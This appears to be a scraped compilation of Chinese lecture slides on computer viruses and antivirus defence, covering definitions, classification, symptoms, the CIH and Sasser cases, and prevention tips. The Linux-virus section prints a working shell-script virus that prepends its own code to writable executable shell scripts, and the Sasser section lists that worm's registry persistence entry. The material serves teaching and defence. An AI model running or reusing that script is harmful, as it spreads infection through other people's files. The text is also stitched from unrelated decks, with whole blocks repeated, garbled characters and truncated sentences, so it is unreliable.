第7章计算机病毒与防治
合集下载
第7章 病毒
6
潜伏性 ：一个编制精巧的计算机病毒程序，进入系
统之后一般不会马上发作，可以在几周或者几个月内 隐藏在合法文件中，对其他系统进行传染，而不被人 发现。潜伏性越好，其在系统中的存在时间就会越长， 病毒的传染范围就会越大，它的危害就越大 潜伏性的第一种表现是指，病毒程序不用专用检测程 序是检查不出来的，因此病毒可以静静地躲在磁盘里 呆上很长时间，一旦时机成熟，得到运行机会，就四 处繁殖、扩散。潜伏性的第二种表现是指，计算机病 毒的内部往往有一种触发机制，不满足触发条件时， 计算机病毒除了传染外不做什么破坏。 7
硬盘引导区病毒现象 1、无法正常启动硬盘 2、引导时出现死机现象 3、执行C盘时显示“Not ready error drive A Abort，Retry，Fail?”
14
病毒的破坏行为
操作系统病毒现象 1、引导系统时间变长 2、计算机处理速度比以前明显放慢 3、系统文件出现莫名其妙的丢失，或字节变长，日期 修改等现象 4、系统生成一些特殊的文件 5、驱动程序被修改使得某些外设不能正常工作 6、软驱、光驱丢失 7、计算机经常死机或重新启动
反病毒软件工作原理 1）病毒扫描程序 串扫描算法:与已知病毒特征匹配；文件头、尾部 入口扫描算法：模拟跟踪目标程序的执行 类属解密法：对付多态、加密病毒 2）内存扫描程序：搜索内存驻留文件和引导记录病毒 3）完整性检查器：能发现新的病毒；但对于已被感染的 系统使用此方法，可能会受到欺骗。 4）行为监测器：是内存驻留程序，监视病毒对可执行文 件的修改。防止未知的病毒
病毒的组成： 安装模块：提供潜伏机制； 传播模块：提供传染机制； 触发模块：提供触发机制； 其中，传染机制是病毒的本质特征，防治、检测及 杀毒都是从分析病毒传染机制入手的。 病毒的症状： 启动或运行速度明显变慢；文件大小、日期变化；死机增 多；莫名其妙地丢失文件；磁盘空间不应有的减少； 有规律地出现异常信息；自动生成一些特殊文件；无 缘无故地出现打印故障。
潜伏性 ：一个编制精巧的计算机病毒程序，进入系
统之后一般不会马上发作，可以在几周或者几个月内 隐藏在合法文件中，对其他系统进行传染，而不被人 发现。潜伏性越好，其在系统中的存在时间就会越长， 病毒的传染范围就会越大，它的危害就越大 潜伏性的第一种表现是指，病毒程序不用专用检测程 序是检查不出来的，因此病毒可以静静地躲在磁盘里 呆上很长时间，一旦时机成熟，得到运行机会，就四 处繁殖、扩散。潜伏性的第二种表现是指，计算机病 毒的内部往往有一种触发机制，不满足触发条件时， 计算机病毒除了传染外不做什么破坏。 7
硬盘引导区病毒现象 1、无法正常启动硬盘 2、引导时出现死机现象 3、执行C盘时显示“Not ready error drive A Abort，Retry，Fail?”
14
病毒的破坏行为
操作系统病毒现象 1、引导系统时间变长 2、计算机处理速度比以前明显放慢 3、系统文件出现莫名其妙的丢失，或字节变长，日期 修改等现象 4、系统生成一些特殊的文件 5、驱动程序被修改使得某些外设不能正常工作 6、软驱、光驱丢失 7、计算机经常死机或重新启动
反病毒软件工作原理 1）病毒扫描程序 串扫描算法:与已知病毒特征匹配；文件头、尾部 入口扫描算法：模拟跟踪目标程序的执行 类属解密法：对付多态、加密病毒 2）内存扫描程序：搜索内存驻留文件和引导记录病毒 3）完整性检查器：能发现新的病毒；但对于已被感染的 系统使用此方法，可能会受到欺骗。 4）行为监测器：是内存驻留程序，监视病毒对可执行文 件的修改。防止未知的病毒
病毒的组成： 安装模块：提供潜伏机制； 传播模块：提供传染机制； 触发模块：提供触发机制； 其中，传染机制是病毒的本质特征，防治、检测及 杀毒都是从分析病毒传染机制入手的。 病毒的症状： 启动或运行速度明显变慢；文件大小、日期变化；死机增 多；莫名其妙地丢失文件；磁盘空间不应有的减少； 有规律地出现异常信息；自动生成一些特殊文件；无 缘无故地出现打印故障。
第7章计算机病毒与网络安全PPT课件
A. 无害型：除了传染时减少磁盘的可用空间外，对系统没有其他影响； B. 无危险型：病毒仅仅是减少内存、显示图像、发出声音等； C. 危险型：病毒在计算机系统操作中造成严重的错误； D. 非常危险型：病毒删除程序、破坏数据、清除系统内存区和操作系统中的重要信息。
（3）病毒特有的算法。
根据病毒特有的算法，病毒可以划分为如下几种：伴随型病毒、“蠕虫”型病毒、 寄生型病毒、变型病毒（又称幽灵病毒）。
病毒的分类
（1）病毒存在的媒体。
根据病毒存在的媒体，病毒可以划分为： A. 网络病毒：通过计算机网络传播感染网络中的可执行文件 B. 文件病毒：感染计算机中的文件（如：COM、EXE、DOC等） C. 引导型病毒：感染启动扇区（Boot）和硬盘的系统引导扇区（MBR） D. 混合型病毒
（2）病毒的破坏能力。
第四代反病毒技术则是针对计算机病毒的发展，而基于病毒家族体系的命名规则、基 于多位CRC校验和扫描机理，启发式智能代码分析模块、动态数据还原模块（能查出 隐蔽性极强的压缩加密文件中的病毒）、内存解毒模块、自身免疫模块等先进的解毒 技术，较好地解决了以前防毒技术顾此失彼、此消彼长的状态。
1.8
© 2005
1.7
© Байду номын сангаас005
第7章 计算机病毒与网络安全
国内外防毒行业的发展
第一代反病毒技术是采取单纯的病毒特征判断，将病毒从带毒文件中清除掉。
第二代反病毒技术是采用静态广谱特征扫描方法检测病毒。
第三代反病毒技术的主要特点是将静态扫描技术和动态仿真跟踪技术结合起来，将查 找病毒和清除病毒合二为一，形成一个整体解决方案，能够全面实现防、查、消等反 病毒所必备的各种手段，以驻留内存方式防止病毒的入侵，凡是检测到的病毒都能清 除，不会破坏文件和数据。
（3）病毒特有的算法。
根据病毒特有的算法，病毒可以划分为如下几种：伴随型病毒、“蠕虫”型病毒、 寄生型病毒、变型病毒（又称幽灵病毒）。
病毒的分类
（1）病毒存在的媒体。
根据病毒存在的媒体，病毒可以划分为： A. 网络病毒：通过计算机网络传播感染网络中的可执行文件 B. 文件病毒：感染计算机中的文件（如：COM、EXE、DOC等） C. 引导型病毒：感染启动扇区（Boot）和硬盘的系统引导扇区（MBR） D. 混合型病毒
（2）病毒的破坏能力。
第四代反病毒技术则是针对计算机病毒的发展，而基于病毒家族体系的命名规则、基 于多位CRC校验和扫描机理，启发式智能代码分析模块、动态数据还原模块（能查出 隐蔽性极强的压缩加密文件中的病毒）、内存解毒模块、自身免疫模块等先进的解毒 技术，较好地解决了以前防毒技术顾此失彼、此消彼长的状态。
1.8
© 2005
1.7
© Байду номын сангаас005
第7章 计算机病毒与网络安全
国内外防毒行业的发展
第一代反病毒技术是采取单纯的病毒特征判断，将病毒从带毒文件中清除掉。
第二代反病毒技术是采用静态广谱特征扫描方法检测病毒。
第三代反病毒技术的主要特点是将静态扫描技术和动态仿真跟踪技术结合起来，将查 找病毒和清除病毒合二为一，形成一个整体解决方案，能够全面实现防、查、消等反 病毒所必备的各种手段，以驻留内存方式防止病毒的入侵，凡是检测到的病毒都能清 除，不会破坏文件和数据。
计算机网络安全与应用技术第7章 计算机病毒
部分信息丢失 – 破坏计算机主板上的BIOS内容，使计算机无法正常工作 – 破坏网络中的资源 – 占用CPU运行时间，使运行效率降低 – 破坏屏幕正常显示，干扰用户的操作 – 破坏键盘的输入程序，使用户的正常输入出现错误 – 破坏系统设置或对系统信息加密，使用户系统工作紊乱
2
• 计算机病毒的特征
– 传染性 – 潜伏性 – 破坏性 – 隐蔽性 – 触发性 – 衍生性 – 寄生性 – 持久性
7.1 计算机病毒概述
计算机病毒的定义 计算机病毒，是指编制或者在计算机程序中插 入的破坏计算机功能或者毁坏数据、影响计算 机使用，并能自我复制的一组计算机指令或者 程序代码。
计算机病毒的发展历史
1
• 计算机病毒的危害
– 破坏磁盘文件分配表 – 删除软盘或磁盘上的可执行文件或数据文件，使文件丢失 – 修改或破坏文件中的数据 – 产生垃圾文件，占据磁盘空间，使磁盘空间逐渐减少 – 破坏硬盘的主引导扇区，使计算机无法启动 – 对整个磁盘或磁盘的特定扇区进行格式化，使磁盘中的全部或
7
• 病毒防治常用方法
– 1．计算机内要运行实时的监控软件和防火墙软件。当然， 这些软件必须是正版的。例如：瑞星、KV、诺顿、金山毒 霸、卡巴斯基等杀毒软件；
– 2．要及时的升级杀毒软件的病毒库； – 3．如果用的是Windows操作系统，最好经常到微软网站查
看有无最新发布的补丁，以便及时升级； – 4．不要打开来历不明的邮件，特别是有些附件； – 5．接收远程文件时，不要直接将文件写入硬盘，最好将远
13
7.5.4 振荡波病毒
1．振荡波病毒介绍 2．振荡波病毒的特征 当用户的计算机出现如下特征时，表明该计算机可能感染了振荡 波病毒。 （1）病毒一旦感染系统，会开启上百个线程，占用大量系统资 源，使CPU占用率达到100%，系统运行速度极为缓慢。 （2）系统感染病毒后，会在内存中产生名为 avserve.exe 的进 程，您可以同时按下Ctrl+Shift+Esc三个按键，调出"Windows任 务管理器"，然后在"进程"中查看系统中是否存在该进程。 （3）病毒感染系统后，会在系统安装目录（默认为 C:\WINNT ） 下产生一个名为avserve.exe 的病毒程序。 （4）病毒感染系统后，会将 "avserve.exe "="%WINDOWS%\avserve.exe "，加入注册表键值中： HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cu rrentVersion\Run 。
2
• 计算机病毒的特征
– 传染性 – 潜伏性 – 破坏性 – 隐蔽性 – 触发性 – 衍生性 – 寄生性 – 持久性
7.1 计算机病毒概述
计算机病毒的定义 计算机病毒，是指编制或者在计算机程序中插 入的破坏计算机功能或者毁坏数据、影响计算 机使用，并能自我复制的一组计算机指令或者 程序代码。
计算机病毒的发展历史
1
• 计算机病毒的危害
– 破坏磁盘文件分配表 – 删除软盘或磁盘上的可执行文件或数据文件，使文件丢失 – 修改或破坏文件中的数据 – 产生垃圾文件，占据磁盘空间，使磁盘空间逐渐减少 – 破坏硬盘的主引导扇区，使计算机无法启动 – 对整个磁盘或磁盘的特定扇区进行格式化，使磁盘中的全部或
7
• 病毒防治常用方法
– 1．计算机内要运行实时的监控软件和防火墙软件。当然， 这些软件必须是正版的。例如：瑞星、KV、诺顿、金山毒 霸、卡巴斯基等杀毒软件；
– 2．要及时的升级杀毒软件的病毒库； – 3．如果用的是Windows操作系统，最好经常到微软网站查
看有无最新发布的补丁，以便及时升级； – 4．不要打开来历不明的邮件，特别是有些附件； – 5．接收远程文件时，不要直接将文件写入硬盘，最好将远
13
7.5.4 振荡波病毒
1．振荡波病毒介绍 2．振荡波病毒的特征 当用户的计算机出现如下特征时，表明该计算机可能感染了振荡 波病毒。 （1）病毒一旦感染系统，会开启上百个线程，占用大量系统资 源，使CPU占用率达到100%，系统运行速度极为缓慢。 （2）系统感染病毒后，会在内存中产生名为 avserve.exe 的进 程，您可以同时按下Ctrl+Shift+Esc三个按键，调出"Windows任 务管理器"，然后在"进程"中查看系统中是否存在该进程。 （3）病毒感染系统后，会在系统安装目录（默认为 C:\WINNT ） 下产生一个名为avserve.exe 的病毒程序。 （4）病毒感染系统后，会将 "avserve.exe "="%WINDOWS%\avserve.exe "，加入注册表键值中： HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cu rrentVersion\Run 。
网络安全第7章 计算机及手机病毒防范
教学目标
●理解计算机及手机病毒的概念、产生、特 点及种类
●掌握病毒的构成、传播、触发以及新型病 毒实例 重点
●掌握病毒与木马程序的检测、清除与防范 方法
重点
●熟悉360安全卫士杀毒软件应用方法
7.1计算机及手机病毒基础
7.1.1病毒的概念、发展及命名
1. 计算机及手机病毒的概念
海湾战争中首用网络病毒攻击的信息战。1991 年海湾战争。美国在伊拉克从第三国购买的打印机里植入可 远程控制的网络病毒，开战前使伊拉克整个雷达预警系统全 部瘫痪，成为世界首次公开在实战中用网络病毒攻击，同时 为2003年的伊拉克战争奠定基础。 计算机病毒（Computer Virus）在《中华人民共和国计算 机信息系统安全保护条例》中被明确定义为：是指编制者在 计算机程序中插入的破坏系统功能或破坏数据，影响系统使 用并能够自我复制的一组指令或程序代码。 手机病毒是一种具有传染性、破坏性等特征的手机程序， 其实质上同计算机病毒基本一样，以后统称为网络病毒。
计算机病毒产生和来源各异，主要目的分为个人行为 和集团行为两种。有的病毒还曾为用于研究或实验而设计 的“有用”程序，后来失控扩散或被利用。
计算机病毒的产生原因主要有4个方面：
7.1计算机及手机病毒基础
3. 计算机病毒的发展阶段
计算机病毒发展主要经历了五个重要阶段。
7.1计算机及手机病毒基础
4．计算机病毒的命名方式
案例7-3
7.1计算机及手机病毒基础
7.1.3 计算机及手机病毒的种类
1．以病毒攻击的操作系统分类
以病毒攻击的操作系统分类 攻击DOS系 统的病毒 攻击 Windows系 统的病毒 攻击UNIX系 OS/2系统的 统的病毒 病毒 攻击 NetWare系 统的病毒
计算机病毒及其防范技术(第2版)第7章 Linux病毒
信息安全工程学院
第四，更加晦涩的病毒
#ShellVirus IV# #infection for file in ./* ; do #分号（;）表示命令分隔符 if test -f $file && test -x $file && test -w $file ; then if grep -s sh $file > /dev/nul ; then head -n 2 $file > .mm if grep -s infection .mm > /dev/nul ; then rm -f .mm ; else head -n 14 $0 > .SAVEE cat $file >> .SAVEE cat .SAVEE > $file fi fi fi done rm -f .SAVEE .mm
ELF格式文件病毒感染原理
信息安全工程学院
无关ELF格式的感染方法
覆盖式感染
• 这种感染最初的思路很简单，就是将病毒体直接拷贝到宿主文件 中，从开始部分覆盖宿主文件，从而宿主文件被感染成单纯的病 毒体，一般情况下宿主文件会遭到破坏，若要使得在病毒执行后 仍然交换控制权给宿主文件，则需要给宿主文件备份，这里的思 路并不复杂只是将原宿主文件复制到一个隐藏文件，然后在病毒 体执行完之后执行宿主文件，使得进程映像中添加的是原宿主文 件的内容。
信息安全工程学院
Linux可执行文件格式（ELF）
Elf 也就是 “Executable and Linking Format.” Elf 起源于Unix，经改进应用于FreeBSD和Linux等现 有类Unix操作系统。 微软的PE格式也学习了ELF格式的优点。
建议参考：提前学习本章的补充知识
第四，更加晦涩的病毒
#ShellVirus IV# #infection for file in ./* ; do #分号（;）表示命令分隔符 if test -f $file && test -x $file && test -w $file ; then if grep -s sh $file > /dev/nul ; then head -n 2 $file > .mm if grep -s infection .mm > /dev/nul ; then rm -f .mm ; else head -n 14 $0 > .SAVEE cat $file >> .SAVEE cat .SAVEE > $file fi fi fi done rm -f .SAVEE .mm
ELF格式文件病毒感染原理
信息安全工程学院
无关ELF格式的感染方法
覆盖式感染
• 这种感染最初的思路很简单，就是将病毒体直接拷贝到宿主文件 中，从开始部分覆盖宿主文件，从而宿主文件被感染成单纯的病 毒体，一般情况下宿主文件会遭到破坏，若要使得在病毒执行后 仍然交换控制权给宿主文件，则需要给宿主文件备份，这里的思 路并不复杂只是将原宿主文件复制到一个隐藏文件，然后在病毒 体执行完之后执行宿主文件，使得进程映像中添加的是原宿主文 件的内容。
信息安全工程学院
Linux可执行文件格式（ELF）
Elf 也就是 “Executable and Linking Format.” Elf 起源于Unix，经改进应用于FreeBSD和Linux等现 有类Unix操作系统。 微软的PE格式也学习了ELF格式的优点。
建议参考：提前学习本章的补充知识
第7章网络病毒防治技术
感染Word和Excel文档；感染Windows 9X系统，却不感染Windows NT系统。
现在学习的是第26页，共69页
3. 如何判断是否感染了CIH病毒 ➢ (1) 一般来讲，CIH病毒只感染.EXE可执行文件，可以
用Ultra Edit打开一个常用的.EXE文件（如记事本 NotePad.exe或写字板WordPad.exe），然后按下“切换 16进制模式按钮（H）”，再查找“CIHvl. ”，如果发现 “CIHvl.2”、“C1Hvl.3”或“CIHvl.4”等字符串，则说明 计算机已经感染CIH病毒了。 ➢ (2) 感染了CIH v1.2版，则所有WinZip自解压文件均无法 自动解开，同时会出现信息“WinZip自解压首部中断。 可能原因：磁盘或文件传输错误。”感染了CIHvl.3版， 则部分WinZip自解压文件无法自动解开。如果遇到以 上情况，有可能就是感染上CIH病毒了。
现在学习的是第29页，共69页
7.2.2 宏病毒 1. 宏病毒简介 2. 宏病毒的特点 3. 宏病毒的预防 4. 宏病毒的清除
现在学习的是第30页，共69页
▪ 7.2.3 蠕虫病毒 ▪ 1.蠕虫病毒的定义 ▪ 蠕虫（Worm）是一种通过网络传播的恶
性病毒，通过分布式网络来扩散传播特定 的信息或错误，进而造成网络服务遭到拒 绝并发生死锁。
第7章网络病毒防治技术
1
现在学习的是第1页，共69页
第7章 网络病毒防治技术
现在学习的是第2页，共69页
本章主要内容：
▪ 计算机病毒的概念、特点和分类 ▪ 计算机网络病毒的危害，几种典型病毒的
原理、特征及预防措施，计算机病毒的症 状，反病毒技术 ▪ 计算机病毒发展的新技术，防杀网络病毒 的软件
现在学习的是第26页，共69页
3. 如何判断是否感染了CIH病毒 ➢ (1) 一般来讲，CIH病毒只感染.EXE可执行文件，可以
用Ultra Edit打开一个常用的.EXE文件（如记事本 NotePad.exe或写字板WordPad.exe），然后按下“切换 16进制模式按钮（H）”，再查找“CIHvl. ”，如果发现 “CIHvl.2”、“C1Hvl.3”或“CIHvl.4”等字符串，则说明 计算机已经感染CIH病毒了。 ➢ (2) 感染了CIH v1.2版，则所有WinZip自解压文件均无法 自动解开，同时会出现信息“WinZip自解压首部中断。 可能原因：磁盘或文件传输错误。”感染了CIHvl.3版， 则部分WinZip自解压文件无法自动解开。如果遇到以 上情况，有可能就是感染上CIH病毒了。
现在学习的是第29页，共69页
7.2.2 宏病毒 1. 宏病毒简介 2. 宏病毒的特点 3. 宏病毒的预防 4. 宏病毒的清除
现在学习的是第30页，共69页
▪ 7.2.3 蠕虫病毒 ▪ 1.蠕虫病毒的定义 ▪ 蠕虫（Worm）是一种通过网络传播的恶
性病毒，通过分布式网络来扩散传播特定 的信息或错误，进而造成网络服务遭到拒 绝并发生死锁。
第7章网络病毒防治技术
1
现在学习的是第1页，共69页
第7章 网络病毒防治技术
现在学习的是第2页，共69页
本章主要内容：
▪ 计算机病毒的概念、特点和分类 ▪ 计算机网络病毒的危害，几种典型病毒的
原理、特征及预防措施，计算机病毒的症 状，反病毒技术 ▪ 计算机病毒发展的新技术，防杀网络病毒 的软件
计算机网络安全管理课件第7章 计算机病毒
2 系统崩溃
某些病毒会导致计算机系统崩溃或无法启动。
3 信息泄露
部分病毒会窃取用户的个人信息，造成隐私泄露。
计算机病毒的防治措施
防毒软件
安装可靠的防毒软件，及时更 新病毒库，进行全盘扫描。
系统更新
及时安装操作系统和应用程序 的安全补丁，以修复可能的漏 洞。
安全意识
提高用户的安全意识，避免点 击未知来源的链接和下载可疑 附件。
实例分析：经典计算机病毒案例
ILOVEYOU病毒
这是一种通过电子邮件传播的病 毒，曾造成全球范围的破坏。它 以诱人的主题来欺骗用户打开附 件，然后感染用户的计算机。
WannaCry勒索软件
这种病毒通过利用Windows操作 系统的漏洞进行传播，并加密用 户文件以勒索赎金。
Stuxnet蠕虫
这是一种专门针对工业控制系统 的病毒，被用于攻击伊朗的核设 施，引起重大损失。
计算机网络安全管理课件 第7章 计算机病毒
本章将介绍计算机病毒的定义、特征、分类和传播方式，以及计算机病毒所 带来的危害和损失。我们还将讨论计算机病毒防治措施，并通过分析经典计 算机病毒案例，了解计算机病毒防治的最佳实践。
计算机病毒的定义和特征
计算机病毒是一种恶意软件，可以复制自身并传播到其他计算机，从而造成 计算机系统的异常行为。计算机病毒通常具有隐蔽性、传染性和破坏性。
计算机病毒的分类和传播方式
病毒分类
病毒可以按照其感染对象、 攻击方式和破坏性程度进行 分类。
传播方式
常见的传播方式有通过网络、 移动存储设备和恶意下载等。
社交工程
病毒制作者往往利用社交工 程手段诱导用户进行点击、 下载或安装恶意软件。
计算机病毒的危害和损失
1 数据损坏
某些病毒会导致计算机系统崩溃或无法启动。
3 信息泄露
部分病毒会窃取用户的个人信息，造成隐私泄露。
计算机病毒的防治措施
防毒软件
安装可靠的防毒软件，及时更 新病毒库，进行全盘扫描。
系统更新
及时安装操作系统和应用程序 的安全补丁，以修复可能的漏 洞。
安全意识
提高用户的安全意识，避免点 击未知来源的链接和下载可疑 附件。
实例分析：经典计算机病毒案例
ILOVEYOU病毒
这是一种通过电子邮件传播的病 毒，曾造成全球范围的破坏。它 以诱人的主题来欺骗用户打开附 件，然后感染用户的计算机。
WannaCry勒索软件
这种病毒通过利用Windows操作 系统的漏洞进行传播，并加密用 户文件以勒索赎金。
Stuxnet蠕虫
这是一种专门针对工业控制系统 的病毒，被用于攻击伊朗的核设 施，引起重大损失。
计算机网络安全管理课件 第7章 计算机病毒
本章将介绍计算机病毒的定义、特征、分类和传播方式，以及计算机病毒所 带来的危害和损失。我们还将讨论计算机病毒防治措施，并通过分析经典计 算机病毒案例，了解计算机病毒防治的最佳实践。
计算机病毒的定义和特征
计算机病毒是一种恶意软件，可以复制自身并传播到其他计算机，从而造成 计算机系统的异常行为。计算机病毒通常具有隐蔽性、传染性和破坏性。
计算机病毒的分类和传播方式
病毒分类
病毒可以按照其感染对象、 攻击方式和破坏性程度进行 分类。
传播方式
常见的传播方式有通过网络、 移动存储设备和恶意下载等。
社交工程
病毒制作者往往利用社交工 程手段诱导用户进行点击、 下载或安装恶意软件。
计算机病毒的危害和损失
1 数据损坏
计算机网络安全技术-计算机病毒及预防
7.2.3 计算机病毒对系统的危害
1．计算机病毒对网络他程序的系统，并 与 正常运 行的程序争夺系统的资源，使系统瘫痪。 病毒程序可在发作时冲毁系统存储器中的大量数据，致使计算 机及其用户的数据丢失，蒙受巨大损失。 病毒程序不仅侵害使用的计算机系统，而且通过网络侵害与之 联网的其他计算机系统。 病毒程序可导致计算机控制的空中交通指挥系统失灵，使卫星、 导弹失控，使银行金融系统瘫痪，使自动生产线控制紊乱等。
引导部分也就是病毒的初始化部分。 传染部分作用是将病毒代码复制到目标上去。 表现部分是病毒间差异最大的部分。
7.3.2 计算机病毒作用机制
病毒程序的传播模块完成将病毒程序向其他的网络、软盘、 硬盘等介质上传染的工作，担负着向外扩散病毒的任务。 该模块一般包括两部分：一部分是传播条件判断部分，对 满足条件的介质施行传染；另一部分是传染部分，完成将 整个病毒程序传至被攻击的目标上。一个程序具有传染能 力，是判断其为计算机病毒的先决条件。正是其传染性， 才使得病毒程序得以生存、繁殖。病毒程序的传播过程只 是在读、写盘操作瞬间，人们是很难发现的。
7.4 计算机病毒的检测、消除与预防
7.4.1 计算机病毒的检测与消除
要检测和诊断病毒，首先要观察系统所出现的症状和异常特征，结合事 先了解的各种病毒的特征初步判定病毒的类型和种类，然后借助于一定的软 件工具进行针对性的检测和诊断，确定病毒的类型及所在，最后利用解毒工 具或软件消除病毒。检测和消除计算机病毒有两种方法。
7.3 计算机病毒的结构及其作用机制
7.3.1 计算机病毒的结构
计算机病毒本身是在计算机中执行的一种程序，它必然要利用现存的计 算机系统软件和硬件资源，作为其生存、繁殖和扩散的保障。现代计算机 系统的硬件环境和软件环境，决定了计算机病毒的结构。计算机病毒的制 造者就是根据计算机系统的软、硬件环境，抓住计算机系统的薄弱环节， 来构造其病毒程序的。
计算机网络病毒与防治规范(ppt 154页)
• 使计算机病毒发作的触发条件主要有以下几种：
(1) 利用系统时钟提供的时间作为触发器，这种触发机制 被大量病毒使用。
(2) 利用病毒体自带的计数器作为触发器。病毒利用计数 器记录某种事件发生的次数，一旦计算器达到设定值， 就执行破坏操作。这些事件可以是计算机开机的次数； 可以是病毒程序被运行的次数；还可以是从开机起被 运行过的程序数量等。
• 计算机病毒的发展经历了以下几个主要阶段：DOS 引导阶段；DOS可执行文件阶段；混合型阶段；伴 随、批次性阶段；多形性阶段；生成器、变体机阶 段；网络、蠕虫阶段；视窗阶段；宏病毒阶段和互 联网阶段。这些将在下面几节中为大家进行穿插介 绍。
7.2 计算机病毒的工作原理
• 要做好反病毒技术的研究，首先要认清计算机病毒 的结构特点和行为机理，为防范计算机病毒提供充 实可靠的依据。下面将通过对计算机病毒的主要特 征、破坏行为以及基本结构的介绍来阐述计算机病 毒的工作原理。
7. 病毒的衍生性，持久性，欺骗性等
7.2.2 病毒与黑客软件的异同
• 计算机病毒与黑客软件相同点是： 都有隐蔽性、 可立即执行性、潜伏性、可触发性、破坏性、非授 权性、欺骗性、持久性。而不同点是病毒可以寄生 在其他文件中，可以自我复制，可以感染其他文件，
其目的是破坏文件或系统。对于黑客软件，它不 能寄生，不可复制和感染文件，其目的是盗取密码 和远程监控系统。
但不停地传播。但是这类病毒的潜在破坏还是有的， 它使内存空间减少，占用磁盘空间，降低系统运行效 率，使某些程序不能运行，它还与操作系统和应用程 序争抢CPU的控制权，严重时导致死机、网络瘫痪。
• 计算机病毒的破坏性表现为病毒的杀伤能力。病毒破 坏行为的激烈程度取决于病毒作者的主观愿望和他的 技术能力。数以万计、不断发展的病毒破坏行为千奇 百怪，不可穷举。根据有关病毒资料可以把病毒的破 坏目标和攻击部位归纳如下：
计算机应用基础案例教程 第7章 计算机病毒与网络安全
1.14
© 2005
第7章
计算机病毒与网络安全
病毒的防范
•计算机应定期安装系统补丁、安装有效的杀毒软件并根据实际需求进行 安全设置。同时，定期升级杀毒软件并经常查毒、杀毒。目前，较流行的 杀毒软件有：诺顿、卡巴斯基、金山毒霸、瑞星及江民杀毒等。 •未经检测过是否感染病毒的文件、软盘、光盘及优盘等移动存储设备在 使用前应首先用杀毒软件查毒后再使用。
首先是网络中的各种数据，包括用户名、密码等重要信息都是采 用明文的形式传输，因此，很难保证数据在传输时不被泄露和篡改。 其次，网络节点是采用很容易修改的IP地址作为惟一标识，很容 易受到地址欺骗等攻击。此外，TCP序列号的可预测性、ICMP （Internet Control Messages Protocol，互联网控制消息协议）的重定向 漏洞等特性都使得现有网络协议在使用时存在很多安全问题。
3．计算机病毒更有针对性
1ቤተ መጻሕፍቲ ባይዱ10
© 2005
第7章
计算机病毒与网络安全
病毒的原理
计算机病毒就是人为编写的一段程序代码或是指令集合，必须存在 于一定的存储介质上。如果计算机病毒只是存在于外部存储介质如硬盘、 光盘、优盘、磁带和软盘中，是不具有传染和破坏能力的。因为此时病 毒没有被系统执行，即处于静止的状态。而当计算机病毒被加载到内存 中后就处于活动状态，此时病毒如果获得系统控制权就可以破坏系统或 是传播病毒。对于正在运行的病毒只有被杀毒软件杀除或手工方法干预 才能失效。 计算机病毒为了更好地潜伏下去，往往附着在其他程序或文件之中。 被附着的其他程序或文件如引导程序、可执行文件、文本文件及数据文 件等。然而，计算机病毒感染其他程序或文件并不是天衣无缝的，而是 要通过修改或者替代原程序或文件的一部分代码才能够隐藏下来。因此， 检查是否被病毒感染就是检查有没有被病毒更改过的痕迹。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
7.1.4计算机病毒的主要症状
（1）由于病毒程序把自己或操作系统的一部分用坏簇隐起来，磁盘坏簇莫名其妙 地增多。 （2）由于病毒程序附加在可执行程序头尾或插在中间, 使可执行程序容量增大。 （3）由于病毒程序把自己的某个特殊标志作为标签, 使接触到的磁盘出现特别标签。 （4）由于病毒本身或其复制品不断侵占系统空间, 使可用系统空间变小。 5 , （5）由于病毒程序的异常活动, 造成异常的磁盘访问 （6）由于病毒程序附加或占用引导部分, 使系统引导变慢。 （7）丢失数据和程序。 （8）中断向量发生变化。 （9）打印出现问题。 （10）死机现象增多。
7.2.2 计算机病毒的清除
计算机病毒的清除，请熟记以下的六字口诀： 关：关闭电源； 开：以干净的引导盘开机； 扫：用防毒软件扫描病毒； 除：若检测到病毒，则删除之； 救：用紧急修复盘或其它方法救回资料； 防：经过以上步骤，你的电脑安全了。不过为了预防以后不再受 到病毒的侵害，建议经常更新你的防毒软件，以建立完善坚固的 病毒防护系统。
CIH病毒 宏病毒 冲击波病毒
7.4 常见病毒简介
CIH病毒 宏病毒 冲击波病毒
The End
7.2.1 计算机病毒的预防
（（5）随时注意特殊文件（如、Emm386.exe、等）的
长度和日期，以及内存的使用情况。 （6）尽量避免使用软盘开机，特别是别人的软盘。 （7）准备好一些防毒、扫毒、杀毒软件，并且定期使用。 （8）建立正确的病毒基本观念，了解病毒感染、发作的原理，可以提高自己的警 觉性。 （9）学习灾后重建资料的技巧，不要用DIR看到一堆乱码就救不回来了，其实很 多软件修复资料的功能很强大，学会使用它们是很有帮助的。
7. 3防毒软件简介
掌握常用杀毒软件的使用方法和一些病毒防范措施是很重要的。 目前我国病毒的清查技术已经成熟，市场上也出现了一些达到世界 领先水平的杀毒软件，目前流行的主要有江明、瑞星和金山毒霸等。 使用杀毒软件来保护系统的正常运行，使我们能够避免中病毒 或是对一些感染病毒的文件进行有效的杀毒。
7.4 常见病毒简介
文件型病毒
文件型病毒是将自身附加在其他文件(这类文件通常称为宿主文
件)上的病毒。宿主文件主要是以EXE或COM为扩展名的可执行文 件。这类病毒可以修改宿主文件代码，将其自身代码插入文件的任 何位置，在某个时刻扰乱程序的正常执行过程，以使病毒代码在合 法程序之前被抢先执行。
混合型病毒
混合型病毒集文件型病毒和引导型病毒的恶劣特点于一身，它既
7.1.2.1根据病毒攻击的目标划分
ቤተ መጻሕፍቲ ባይዱ
（1）引导型病毒 （2）文件型病毒 （3）混合型病毒
引导型病毒
引导型病毒是利用操作系统的引导模块，将其自身插入磁盘的引
导扇区中。一旦系统引导，就会首先执行病毒程序并且常驻内存， 然后进行系统的正常引导。这个带病毒的系统看起来运行正常，实 际上病毒已经潜伏在系统中，并伺机传染、发作，如Stoned、 Michelangelo和Brain均属于此类病毒。
7.2.1 计算机病毒的预防
